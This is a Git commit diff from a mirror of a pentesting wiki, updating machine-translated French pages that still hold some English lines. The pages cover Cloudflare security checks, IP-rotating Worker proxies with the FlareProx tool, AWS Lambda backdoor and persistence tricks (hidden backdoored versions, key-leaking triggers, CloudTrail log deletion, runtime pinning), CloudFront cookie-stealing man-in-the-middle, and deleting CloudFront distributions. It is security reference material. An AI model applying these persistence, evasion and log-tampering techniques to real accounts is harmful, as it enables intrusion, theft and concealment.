gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 11:07:37 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-10-23 20:47:04 +00:00
parent 6c560f8fd9
commit be343fc216
18 changed files with 599 additions and 609 deletions
Download Patch File Download Diff File Expand all files Collapse all files

75
src/pentesting-ci-cd/cloudflare-security/README.md
View File

@@ -1,24 +1,24 @@
# Sécurité Cloudflare
# Cloudflare Sécurité
{{#include ../../banners/hacktricks-training.md}}
Dans un compte Cloudflare, il existe quelques **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
Dans un compte Cloudflare il existe certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page nous allons **analyser les paramètres liés à la sécurité de chaque section :**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Sites web
## Sites Web
Vérifier chaque élément avec :
Review each with:
{{#ref}}
cloudflare-domains.md
{{#endref}}
### Enregistrement de domaine
### Domain Registration
- [ ] Dans **`Transfer Domains`** vérifier qu'il n'est pas possible de transférer un domaine.
- [ ] Dans **`Transfer Domains`**, vérifiez qu'il n'est pas possible de transférer un domaine.
Vérifier chaque élément avec :
Review each with:
{{#ref}}
cloudflare-domains.md
@@ -30,32 +30,31 @@ _I couldn't find anything to check for a config security review._
## Pages
Sur chaque page Cloudflare :
Sur chaque page de Cloudflare :
- [ ] Vérifier la présence d'**informations sensibles** dans le **`Build log`**.
- [ ] Vérifier la présence d'**informations sensibles** dans le **Github repository** assigné aux pages.
- [ ] Vérifier une compromission potentielle du repo github via **workflow command injection** ou compromission de `pull_request_target`. Plus d'infos sur la [**Github Security page**](../github-security/index.html).
- [ ] Vérifier la présence de **fonctions vulnérables** dans le répertoire `/fuctions` (si présent), vérifier les **redirections** dans le fichier `_redirects` (si présent) et les **headers mal configurés** dans le fichier `_headers` (si présent).
- [ ] Vérifier la présence d'**informations sensibles** dans le **Github repository** assigné aux Pages.
- [ ] Rechercher un compromis potentiel du github repo via une **workflow command injection** ou par compromission de `pull_request_target`. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Vérifier les **fonctions vulnérables** dans le répertoire `/fuctions` (si présent), vérifier les **redirections** dans le fichier `_redirects` (si présent) et les **entêtes mal configurés** dans le fichier `_headers` (si présent).
- [ ] Rechercher des **vulnérabilités** dans la **page web** via **blackbox** ou **whitebox** si vous pouvez **accéder au code**.
- [ ] Dans les détails de chaque page `/<page_id>/pages/view/blocklist/settings/functions`. Vérifier la présence d'**informations sensibles** dans les **`Environment variables`**.
- [ ] Dans la page de détails, vérifier également la **commande de build** et le **répertoire racine** pour des **injections potentielles** pouvant compromettre la page.
- [ ] Dans la page de détails, vérifiez également la **build command** et le **root directory** pour des **injections potentielles** permettant de compromettre la page.
## **Workers**
Sur chaque worker Cloudflare, vérifier :
Pour chaque worker Cloudflare, vérifiez :
- [ ] Les triggers : qu'est-ce qui déclenche le worker ? Un utilisateur peut-il envoyer des données qui seront utilisées par le worker ?
- [ ] Dans les **`Settings`**, vérifier les **`Variables`** contenant des **informations sensibles**
- [ ] Vérifier le **code du worker** et rechercher des **vulnérabilités** (surtout aux endroits où l'utilisateur peut contrôler l'entrée)
Rechercher des SSRF renvoyant la page indiquée que vous pouvez contrôler
Rechercher des XSS exécutant du JS à l'intérieur d'une image svg
Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations en provenance de l'entrée. Dans ce cas, il est nécessaire de vérifier quelles capacités le worker possède sur le bucket R2 et comment cela pourrait être abusé via l'entrée utilisateur.
- [ ] Les triggers : qu'est-ce qui déclenche le worker ? Un **utilisateur peut-il envoyer des données** qui seront **utilisées** par le worker ?
- [ ] Dans les **`Settings`**, vérifiez la présence de **`Variables`** contenant des **informations sensibles**
- [ ] Vérifiez le **code du worker** et recherchez des **vulnérabilités** (surtout aux endroits où l'utilisateur peut contrôler l'entrée)
- Cherchez des SSRF renvoyant la page indiquée que vous pouvez contrôler
- Cherchez des XSS exécutant du JS à l'intérieur d'une image svg
- Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations obtenues depuis l'entrée. Dans ce cas, il sera nécessaire de vérifier quelles capacités le worker a sur le bucket R2 et comment cela pourrait être abusé via l'entrée utilisateur.
> [!WARNING]
> Notez que par défaut un **Worker se voit attribuer une URL** telle que `<worker-name>.<account>.workers.dev`. L'utilisateur peut la configurer sur un **sous-domaine**, mais vous pouvez toujours y accéder via cette **URL originale** si vous la connaissez.
> Notez que par défaut un **Worker reçoit une URL** telle que `<worker-name>.<account>.workers.dev`. L'utilisateur peut la définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL originale** si vous la connaissez.
Pour un abus pratique des Workers en tant que pass-through proxies (IP rotation, FireProx-style), consultez :
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -63,9 +62,9 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
## R2
Pour chaque bucket R2, vérifier :
Pour chaque bucket R2, vérifiez :
- [ ] Configurer la **CORS Policy**.
- [ ] Configurez la **CORS Policy**.
## Stream
@@ -77,8 +76,8 @@ TODO
## Security Center
- [ ] Si possible, exécuter un **`Security Insights`** **scan** et un **`Infrastructure`** **scan**, car ils mettront en évidence des informations intéressantes en termes de **sécurité**.
- [ ] Vérifier simplement ces informations pour détecter des mauvaises configurations de sécurité et des informations intéressantes
- [ ] Si possible, lancez un **`Security Insights`** **scan** et un **`Infrastructure`** **scan**, car ils mettront en **évidence** des informations intéressantes d'un point de vue **sécurité**.
- [ ] Il suffit de **vérifier ces informations** pour des mauvaises configurations de sécurité et des informations intéressantes
## Turnstile
@@ -93,14 +92,14 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> Contrairement à [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — elles ne prennent **pas en charge d'opérations de remplacement de chaîne** ni les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement à l'exécution.
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Vérifier que les **expressions** et les **exigences** pour les redirections **ont du sens**.
- [ ] Vérifier également la présence d'**endpoints cachés sensibles** qui contiennent des informations intéressantes.
- [ ] Vérifiez que les **expressions** et les **exigences** des redirections **ont du sens**.
- [ ] Vérifiez aussi la présence d'**endpoints cachés sensibles** qui pourraient contenir des informations intéressantes.
## Notifications
- [ ] Vérifier les **notifications.** Ces notifications sont recommandées pour la sécurité :
- [ ] Vérifiez les **notifications**. Ces notifications sont recommandées pour la sécurité :
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -120,22 +119,22 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Vérifier toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (basic http auth) dans les webhook urls. Assurez-vous également que les webhook urls utilisent **HTTPS**
- [ ] En vérification supplémentaire, vous pouvez tenter d'**usurper une notification cloudflare** vers un tiers, peut-être pouvez-vous injecter quelque chose de dangereux
- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (auth HTTP basique) dans les webhook urls. Assurez-vous également que les webhook urls utilisent **HTTPS**
- [ ] Comme vérification supplémentaire, vous pouvez tenter **d'usurper une notification Cloudflare** vers un tiers, peut-être pouvez-vous d'une manière ou d'une autre **injecter quelque chose de dangereux**
## Manage Account
- [ ] Il est possible de voir les **4 derniers chiffres de la carte**, la date **d'expiration** et l'**adresse de facturation** dans **`Billing` -> `Payment info`**.
- [ ] Il est possible de voir les **4 derniers chiffres de la carte**, la **date d'expiration** et **l'adresse de facturation** dans **`Billing` -> `Payment info`**.
- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Billing` -> `Subscriptions`**.
- [ ] Dans **`Members`** il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Enterprise, seuls 2 rôles existent : Administrator et Super Administrator. Mais si le **plan utilisé est Enterprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège.
- Donc, chaque fois que possible, il est **recommandé** d'utiliser le **plan Enterprise**.
- [ ] Dans Members, il est possible de vérifier quels **membres** ont la **2FA activée**. **Chaque** utilisateur devrait l'avoir activée.
- [ ] Dans **`Members`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Enterprise, seuls 2 rôles existent : Administrator et Super Administrator. Mais si le **plan est Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour appliquer le principe du moindre privilège.
- Par conséquent, autant que possible il est **recommandé** d'utiliser le **Enterprise plan**.
- [ ] Dans Members, il est possible de vérifier quels **membres** ont la **2FA activée**. **Tous** les utilisateurs devraient l'avoir activée.
> [!NOTE]
> Notez que, fort heureusement, le rôle **`Administrator`** n'accorde pas la permission de gérer les adhésions (ne peut pas escalader les privilèges ni inviter de nouveaux membres)
> Notez que, heureusement, le rôle **`Administrator`** n'accorde pas les permissions pour gérer les memberships (**ne peut pas escalader les privilèges ni inviter** de nouveaux membres)
## DDoS Investigation
[Vérifiez cette partie](cloudflare-domains.md#cloudflare-ddos-protection).
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

74
src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
View File

@@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers peuvent être déployés comme des proxies HTTP pass-through transparents où l'URL cible upstream est fournie par le client. Les requêtes sortent du réseau Cloudflare, de sorte que la cible observe les IPs de Cloudflare au lieu de celles du client. Cela reflète la technique bien connue FireProx sur AWS API Gateway, mais utilise Cloudflare Workers.
Cloudflare Workers peuvent être déployés comme des proxies HTTP transparents pass-through où l'URL cible upstream est fournie par le client. Les requêtes sortent du réseau Cloudflare, donc la cible voit les IPs de Cloudflare au lieu de celles du client. Cela reflète la technique bien connue FireProx sur AWS API Gateway, mais utilise Cloudflare Workers.
### Fonctionnalités clés
- Support de toutes les méthodes HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Prise en charge de toutes les méthodes HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- La cible peut être fournie via un paramètre de requête (?url=...), un header (X-Target-URL), ou même encodée dans le chemin (par ex. /https://target)
- Les headers et le body sont proxifiés avec filtrage des headers hop-by-hop/nécessaires
- Les réponses sont renvoyées au client en préservant le code de statut et la plupart des headers
- Possibilité facultative de spoofing de X-Forwarded-For (si le Worker le définit à partir d'un header contrôlé par l'utilisateur)
- Rotation extrêmement rapide/aisée en déployant plusieurs endpoints Worker et en répartissant les requêtes
- Les headers et le corps sont relayés via le proxy avec filtrage des headers hop-by-hop si nécessaire
- Les réponses sont renvoyées en conservant le code de statut et la plupart des headers
- Usurpation optionnelle de X-Forwarded-For (si le Worker le définit à partir d'un header contrôlé par l'utilisateur)
- Rotation très rapide/facile en déployant plusieurs endpoints Worker et en répartissant les requêtes
### Comment ça fonctionne (flux)
1) Le client envoie une requête HTTP à une URL Worker (`<name>.<account>.workers.dev` ou une route de domaine custom).
2) Le Worker extrait la cible soit depuis un paramètre de requête (?url=...), le header X-Target-URL, ou un segment de chemin si implémenté.
3) Le Worker relaie la méthode entrante, les headers et le body vers l'URL upstream spécifiée (en filtrant les headers problématiques).
4) La réponse upstream est streamée de retour vers le client via Cloudflare ; l'origine voit les IPs d'egress de Cloudflare.
### Comment ça marche (flux)
1) Le client envoie une requête HTTP vers une URL Worker (`<name>.<account>.workers.dev` ou un route de domaine personnalisé).
2) Le Worker extrait la cible soit d'un paramètre de requête (?url=...), soit du header X-Target-URL, ou d'un segment de chemin si implémenté.
3) Le Worker transfère la méthode, les headers et le corps entrants vers l'URL upstream spécifiée (en filtrant les headers problématiques).
4) La réponse upstream est streamée vers le client via Cloudflare ; l'origine voit les IPs de sortie de Cloudflare.
### Exemple d'implémentation du Worker
- Lit l'URL cible depuis le paramètre de requête, le header, ou le chemin
- Copie un sous-ensemble sûr de headers et relaie la méthode/body original(e)
- Optionnellement définit X-Forwarded-For en utilisant un header contrôlé par l'utilisateur (X-My-X-Forwarded-For) ou une IP aléatoire
- Lit l'URL cible depuis un paramètre de requête, un header ou le chemin
- Copie un sous-ensemble sûr de headers et transmet la méthode/le corps originaux
- Définit optionnellement X-Forwarded-For en utilisant un header contrôlé par l'utilisateur (X-My-X-Forwarded-For) ou une IP aléatoire
- Ajoute un CORS permissif et gère les preflight
<details>
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
<summary>Exemple de Worker (JavaScript) pour le proxy pass-through</summary>
```javascript
/**
* Minimal Worker pass-through proxy
@@ -133,13 +133,13 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
```
</details>
### Automatiser le déploiement et la rotation avec FlareProx
### Automatisation du déploiement et de la rotation avec FlareProx
FlareProx est un outil Python qui utilise l'API Cloudflare pour déployer de nombreux Worker endpoints et effectuer une rotation entre eux. Cela fournit une rotation d'IP de type FireProx depuis le réseau Cloudflare.
FlareProx est un outil Python qui utilise l'API Cloudflare pour déployer plusieurs endpoints Worker et effectuer la rotation entre eux. Cela fournit une rotation d'IP de type FireProx depuis le réseau de Cloudflare.
Configuration
1) Créez un Cloudflare API Token en utilisant le modèle “Edit Cloudflare Workers” et récupérez votre Account ID depuis le tableau de bord.
2) Configurez FlareProx :
Setup
1) Créez un Cloudflare API Token en utilisant le template “Edit Cloudflare Workers” et récupérez votre Account ID depuis le tableau de bord.
2) Configurez FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
@@ -154,9 +154,9 @@ pip install -r requirements.txt
}
}
```
**Utilisation CLI**
**Utilisation de la CLI**
- Créer N Worker proxies:
- Créer N proxies Worker :
```bash
python3 flareprox.py create --count 2
```
@@ -164,20 +164,20 @@ python3 flareprox.py create --count 2
```bash
python3 flareprox.py list
```
- Points de terminaison de test de santé :
- Points de terminaison de vérification de santé :
```bash
python3 flareprox.py test
```
- Supprimer tous les endpoints :
- Supprimer tous les endpoints:
```bash
python3 flareprox.py cleanup
```
**Routage du trafic via un Worker**
- Forme du paramètre de requête:
**Acheminer le trafic via un Worker**
- Forme de paramètre de requête :
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Format de l'en-tête:
- Formulaire d'en-tête:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
@@ -202,19 +202,19 @@ curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` contrôle**
**contrôle de `X-Forwarded-For`**
Si le Worker prend en compte `X-My-X-Forwarded-For`, vous pouvez influencer la valeur en amont `X-Forwarded-For` :
Si le Worker honore `X-My-X-Forwarded-For`, vous pouvez influencer la valeur en amont de `X-Forwarded-For` :
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Utilisation programmatique**
Utilisez la bibliothèque FlareProx pour créer/lister/t tester des endpoints et router des requêtes depuis Python.
Utilisez la bibliothèque FlareProx pour créer/lister/tester des endpoints et acheminer des requêtes depuis Python.
<details>
<summary>Exemple Python: envoyer un POST via un endpoint Worker aléatoire</summary>
<summary>Exemple Python : Envoyer un POST via un endpoint Worker aléatoire</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
@@ -267,15 +267,15 @@ print(f"Request error: {e}")
```
</details>
**Burp/Scanner intégration**
- Pointez les outils (par exemple, Burp Suite) vers l'URL du Worker.
**Intégration Burp/Scanner**
- Redirigez vos outils (par exemple, Burp Suite) vers l'URL du Worker.
- Fournissez l'upstream réel en utilisant ?url= ou X-Target-URL.
- HTTP semantics (methods/headers/body) are preserved while masking your source IP behind Cloudflare.
- La sémantique HTTP (methods/headers/body) est préservée tout en masquant votre IP source derrière Cloudflare.
**Notes opérationnelles et limites**
- Cloudflare Workers Free plan allows roughly 100,000 requests/day per account; use multiple endpoints to distribute traffic if needed.
- Les Workers s'exécutent sur le réseau de Cloudflare ; de nombreuses cibles ne verront que les Cloudflare IPs/ASN, ce qui peut contourner des listes allow/deny IP naïves ou des heuristiques géographiques.
- Utilisez de manière responsable et uniquement avec autorisation. Respectez les ToS et robots.txt.
- Le plan Free de Cloudflare Workers permet environ 100 000 requêtes/jour par compte ; utilisez plusieurs endpoints pour répartir le trafic si nécessaire.
- Les Workers s'exécutent sur le réseau Cloudflare ; de nombreuses cibles ne verront que les IPs/ASN de Cloudflare, ce qui peut contourner des listes d'autorisation/refus IP naïves ou des heuristiques géographiques.
- Utilisez de manière responsable et seulement avec autorisation. Respectez les ToS et robots.txt.
## Références
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)

62
src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
View File

@@ -1,26 +1,26 @@
# AWS - Lambda Persistance
# AWS - Lambda Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
Pour plus d'informations, consultez :
Pour plus d'informations, voir :
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Layer Persistance
### Lambda Layer Persistence
Il est possible d'**introduce/backdoor une layer pour exécuter du code arbitraire** lorsque la Lambda est exécutée de manière furtive :
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda Extension Persistance
### Lambda Extension Persistence
En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la Lambda, mais aussi de voler et modifier les requêtes.
En abusant des Lambda Layers il est aussi possible d'abuser des extensions pour persister dans la lambda mais aussi de voler et modifier des requêtes.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
### Via resource policies
Il est possible d'accorder l'accès à différentes actions Lambda (comme invoke ou update code) à des comptes externes :
Il est possible d'accorder l'accès à différentes actions de lambda (such as invoke or update code) à des comptes externes :
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
Une Lambda peut avoir **différentes versions** (chaque version contenant un code différent).\
Ensuite, vous pouvez créer **différents aliases pointant vers différentes versions** de la Lambda et attribuer des weights différents à chacun.\
De cette façon, un attaquant pourrait créer une **backdoored version 1** et une **version 2 contenant seulement le code légitime**, et **n'exécuter la version 1 que dans 1%** des requêtes pour rester furtif.
A Lambda can have **different versions** (with different code each version).\
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Copy the original code of the Lambda
2. **Create a new version backdooring** le code original (ou simplement avec du code malveillant). Publiez et **déployez cette version** sur $LATEST
1. Appelez l'API Gateway liée à la Lambda pour exécuter le code
3. Créez une nouvelle version avec le code original, publiez et déployez cette **version** sur $LATEST.
1. Cela cachera le code backdoored dans une version précédente
4. Allez dans l'API Gateway et **créez une nouvelle méthode POST** (ou choisissez une autre méthode) qui exécutera la version backdoored de la Lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Notez le :1 final de l'ARN **indiquant la version de la fonction** (la version 1 sera la backdoored dans ce scénario).
5. Sélectionnez la méthode POST créée et dans Actions sélectionnez **`Deploy API`**
6. Maintenant, lorsque vous **appelez la fonction via POST**, votre Backdoor sera invoquée
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Event actuator
Le fait que vous puissiez faire exécuter des fonctions Lambda lorsqu'un événement se produit ou après un certain délai fait de Lambda un moyen courant et pratique pour obtenir de la persistance et éviter la détection.\
Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des Lambdas**.
Le fait que vous puissiez faire **exécuter des fonctions lambda quand quelque chose se produit ou après un certain temps** rend lambda un moyen courant et efficace pour obtenir de la persistance et éviter la détection.\
Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des lambdas**.
- Chaque fois qu'un nouvel utilisateur est créé, Lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
- Chaque fois qu'un nouveau rôle est créé, Lambda donne des permissions d'assume role aux utilisateurs compromis.
- Chaque fois que de nouveaux logs CloudTrail sont générés, les supprimer/altérer
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Abusez la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant le démarrage du runtime/handler. Fournissez le wrapper via une Lambda Layer dans `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute à l'intérieur du processus runtime de la fonction, hérite du rôle d'exécution de la fonction et finit par `exec` le runtime réel afin que le handler original s'exécute normalement.
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
### AWS - Lambda Function URL Public Exposure
Abusez les destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une fonction se réinvoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la configuration de recursion sur Allow les réactive. Les destinations effectuent la livraison côté service pour les invocations async, donc une seule invocation initiale crée un canal de heartbeat/backdoor furtif sans code. Optionnellement, limitez avec reserved concurrency pour réduire le bruit.
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
@@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Créez une version Lambda cachée avec la logique de l'attaquant et appliquez une resource-based policy à cette version spécifique (ou alias) en utilisant le paramètre `--qualifier` dans `lambda add-permission`. Accordez uniquement `lambda:InvokeFunction` sur `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` à un principal attaquant. Les invocations normales via le nom de fonction ou l'alias principal restent inchangées, tandis que l'attaquant peut invoquer directement l'ARN de la version backdoored.
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
C'est plus furtif que d'exposer une Function URL et cela ne change pas l'alias principal du trafic.
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
@@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md
### Freezing AWS Lambda Runtimes
Un attaquant disposant des permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig et lambda:GetRuntimeManagementConfig peut modifier la configuration de runtime management d'une fonction. Cette attaque est particulièrement efficace lorsque l'objectif est de maintenir une fonction Lambda sur une version de runtime vulnérable ou de préserver la compatibilité avec des layers malveillants qui pourraient être incompatibles avec des runtimes plus récents.
Un attaquant disposant des permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, et lambda:GetRuntimeManagementConfig peut modifier la configuration de runtime management d'une fonction. Cette attaque est particulièrement efficace lorsque l'objectif est de maintenir une fonction Lambda sur une version de runtime vulnérable ou de préserver la compatibilité avec des layers malveillants qui pourraient être incompatibles avec des runtimes plus récents.
L'attaquant modifie la configuration de runtime management pour épingler la version du runtime :
L'attaquant modifie la runtime management configuration pour épingler la version du runtime :
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
@@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
Optionnel : Épingler à une version spécifique du runtime
Optionnel : verrouiller sur une version spécifique du runtime
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
@@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Épingler à une version spécifique du runtime :
Épingler une version de runtime spécifique :
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \

16
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
View File

@@ -11,7 +11,7 @@ Pour plus d'informations, consultez :
{{#endref}}
### `cloudfront:Delete*`
Un attaquant auquel on a accordé cloudfront:Delete* peut supprimer des distributions, des policies et d'autres objets critiques de configuration du CDN — par exemple distributions, cache/origin policies, key groups, origin access identities, functions/configs, et ressources associées. Cela peut provoquer une interruption de service, une perte de contenu et la suppression de configurations ou d'artefacts forensiques.
Un attaquant disposant de cloudfront:Delete* peut supprimer des distributions, des policies et d'autres objets critiques de configuration du CDN — par exemple distributions, cache/origin policies, key groups, origin access identities, functions/configs et ressources associées. Cela peut provoquer une interruption de service, une perte de contenu et la suppression de configurations ou d'artefacts d'investigation forensique.
Pour supprimer une distribution, un attaquant pourrait utiliser :
```bash
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
```
### Man-in-the-Middle
Cet [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et de **modifier** la **réponse** (injection d'un script JS malveillant).
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication through CloudFront** dans le but de voler des informations utilisateur (comme le **cookie** de session) et de modifier la **response** (injection d'un script JS malveillant).
#### scénario 1 : MitM où CloudFront est configuré pour accéder à du HTML dans un bucket
#### scénario 1: MitM where CloudFront is configured to access some HTML of a bucket
- **Créer** la **fonction** malveillante.
- **Créer** la **function** malveillante.
- **Associer** celle-ci à la distribution CloudFront.
- Définir le **type d'événement sur "Viewer Response"**.
- Définir le **event type** sur "Viewer Response".
En accédant à la réponse, un attaquant peut voler le cookie de session des utilisateurs et injecter un script JS malveillant.
En accédant à la **response**, vous pourriez voler le **cookie** des utilisateurs et injecter un JS malveillant.
#### scénario 2 : MitM où CloudFront utilise déjà une lambda function
#### scénario 2: MitM where CloudFront is already using a lambda function
- **Modifier le code** de la lambda function pour voler des informations sensibles
Vous pouvez consulter le [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../../banners/hacktricks-training.md}}

122
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
View File

@@ -4,7 +4,7 @@
## DynamoDB
Pour plus d'informations, consultez :
Pour plus d'informations, voir :
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
